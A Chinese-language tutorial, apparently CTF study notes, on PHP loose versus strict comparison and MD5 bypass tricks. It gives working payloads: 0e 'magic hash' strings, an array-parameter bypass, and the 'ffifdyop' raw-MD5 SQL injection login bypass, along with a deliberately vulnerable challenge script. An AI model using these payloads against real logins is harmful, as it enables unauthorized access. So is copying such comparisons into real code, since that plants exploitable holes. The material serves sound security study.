简介
有些东西没有完美一说,就好比做开发的时候不严谨,和疏忽就会导致漏洞百出,在php里有两种比较,第一种是 == 双等于是弱比较,而 === 三个等于是强等于,他们之间的区别在下方有讲。
类型比较区别
== 先将字符串类型转化成相同,再比较。
=== 先判断两种字符串的类型是否相等,再比较。
var_dump("0e123456"=="0e134567"); // true
var_dump(0 == "a1"); // true
var_dump(0 == "1a"); // false
var_dump("a" == 0); // true
var_dump("1a" == 1); // trueMD5弱类型绕过
弱类型比较会把0exxx当作科学计数法,不管后面的值为任何东西,0的任何次幂都为0。
<?php $flag="";
$a=$_GET["a"];
$b=$_GET["b"];
if(isset($a) && isset($b)){
if(!ctype_alpha($a)){
die("a error");
}
if(!is_numeric($b)){
die("b error");
}
if(md5($a)==md5($b)){
echo $flag;
}
}else{
echo "请问,flag在哪里?";
}?>1.来做一道题看上面 if(md5($a)==md5($b)) 判断两个 md5值相等就输出flag,不是两个md5相等就行了,而是在弱比较的基础上做,以下是一些字符串md5值以0e开头
QNKCDZO
240610708
s878926199a
s155964671a
s21587387a?a=QNKCDZO&b=240610708
2.通过先将字符串类型转化成相同,再比较这样就成了,利用以上payload提交就可以拿到flag。
数组绕过
md5()函数计算的是一个字符串的哈希值,对于数组则返回false
payload:?a[]=1&b[]=2MD5强类型绕过
强类型比较,不仅比较值,还比较类型,0e会被当做字符串,所以不能用0e来进行但我们可以用MD值完全相同的字符来进行绕过。
Select * from "admin" where password=md5($pass,true)276f722736c95d99e921722cf9ed621c # ffifdyop md5值可以利用 ffifdyop 的md5值绕过,因为在转换成字符串为"or"6乱码,Select * from ’admin’ where password='or'6乱码,相当于万能密码了。
评论 (0)